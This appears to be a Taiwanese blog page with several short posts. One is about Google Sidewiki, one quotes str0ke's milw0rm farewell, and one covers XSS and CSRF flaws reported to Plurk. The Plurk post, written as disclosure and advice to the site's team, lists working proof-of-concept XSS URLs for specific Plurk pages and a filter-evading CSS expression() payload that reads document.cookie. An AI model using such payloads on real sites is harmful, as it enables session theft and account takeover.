Google 再出招！
Help and learn from others as you browse the web: Google Sidewiki
http://googleblog.blogspot.com/2009/09/help-and-learn-from-others-as-you.html
可以直接在這邊下載
http://www.google.com/sidewiki/
這真的是太邪惡的功能了...
每個人不用在自己的地方引用來評論一個網頁，而是可以直接用 Google Sidewiki 直接討論。
而且在觀看網頁的時候直接顯示...
唯一的缺點是一定要安裝 Toolbar 才能使用。
假如能夠更方便的使用一定能夠成為殺手級應用...
Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don't :(. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn't fair to the authors on this site. I appreciate and thank everyone for their support in the past.
Be safe, /str0ke
這兩天聽了 SySCAN，發現有志一同的發現了一樣的 css expression 問題。
真的滿有意思的！XDD
expression 的問題跟站長溝通過，filter 的過程真的是不太嚴謹。老早之前回報過的沒想到竟然只是過濾固定字串而已...Orz
儘管只是 IE only 的攻擊，但我想 < IE8 的使用者還是不在少數。這一點實在是不能忽略。
CSRF 目前建議了幾個方案給站長，Amir 說目前由於 API 的問題他們必須要做很大的修改。我想這多半是因為一開始設計的時候沒有考量到這些問題的緣故。這樣要改下去我想要花費不少的心力，真的是辛苦他們了！
目前建議 A-Team 要防堵 Worm 的攻擊，我想最簡單最初階的方法就是將散佈的手段防堵住，或者讓傳播的途徑更為複雜。將 Profile / 發訊息 / 回應訊息的地方限制住我想是個相當不錯的方法。:)
Plurk 在台灣使用者數量真的是越來越多，最近加好友跟粉絲的數量越來越多，暴增的使用者我想安全性對於使用者來說越來越來得重要。
希望 A-Team 多加油啊！
http://www.plurk.com/m/ 幾乎都有 XSS 問題http://www.plurk.com/Notifications/?page=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.plurk.com/Users/confirmEmail?user=%3Cscript%3Ealert(/x/)%3b%3C/script%3E&key=x&email=z
http://www.plurk.com/m/s/?query=a%22%3E%3Cimg%20src=%22aaa%22%20onerror=%22javascript:alert('a')%3b%22%3E%3C%22
與訊息有關皆有onmouseover： http://allenown.blogspot.com/"onmouseover="alert('XD');" ( http://allenown.blogspot.com )
Custom CSS: body{ background-url: ex/**/pression(alert(document.cookie)); }
